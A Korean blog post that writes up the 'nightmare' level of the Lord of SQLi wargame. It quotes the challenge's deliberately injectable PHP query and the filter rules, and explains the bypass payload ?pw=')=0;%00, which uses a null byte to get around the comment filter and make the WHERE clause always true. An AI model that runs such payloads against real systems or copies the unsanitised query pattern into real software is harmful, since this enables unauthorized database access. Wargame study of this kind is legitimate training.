<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~");
if(strlen($_GET[pw])>6) exit("No Hack ~_~");
$query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) solve("nightmare");
highlight_file(__FILE__);
?>
$_GET[pw] 필터
/prob
_
.
()
#
-
주석사용 금지이다. 게다가, $_GET[pw] 6글자 이하이여야 한다.
SELECT id FROM prob_nightmare WHERE pw=(' ') AND id!='admin';
이번에는 id가 admin이면 안된다.
query : select id from prob_nightmare where pw=('')=('0') and id!='admin'
이러면 왜 안나오지? 솔직히 왜 안나오는지 모르겠다.
로컬에서 똑같이 환경 구축하고 해봤는데 결과는 잘나왔다.
다른 블로그 풀이를 본 결과, ;%00을 사용해 #, - 주석 필터를 우회할 수 있다고 한다.
?pw=')=0;%00 을 입력하면 된다고한다.
query : select id from users where pw=('')=0;') and id!='admin'
근데 잘 보면 내가 작성했던 풀이랑 결과는 똑같다.
pw=('')=0 는 다음과 같이 처리된다.
- pw=('') 를 먼저 수행한다. 결과는 당연 False
- 그후, False=0을 수행한다. 결과는 True
따라서 위 수행 결과는 항상 참이 되어 모든 레코드가 출력된다. 또한, 주석으로 and id!='admin' 부분이 주석처리 되어 admin을 포함한 모든 레코드가 추출된다. 여기서 내가 작성한 풀이법이랑 다른점은 and id!='admin' 주석 처리 유무이다.
만약, 테이블에 admin 레코드 하나 밖에 없다면, 내가 작성한 풀이법은 어떠한 레코드가 추출되지 않을 것이다.
하지만 다른 블로그 풀이법대로 한다면, and id!='admin'이 주석돼 admin 레코드가 추출돼 풀 수 있던 것 같다.
뭔가, 빡침
'WEB Hacking > Lord of SQLi' 카테고리의 다른 글
[los] succubus (0) | 2018.09.17 |
---|---|
[los] zombie_assassin (0) | 2018.09.17 |
[los] assassin (0) | 2018.09.17 |
[los] giant (0) | 2018.09.17 |
[los] bugbear (0) | 2018.09.17 |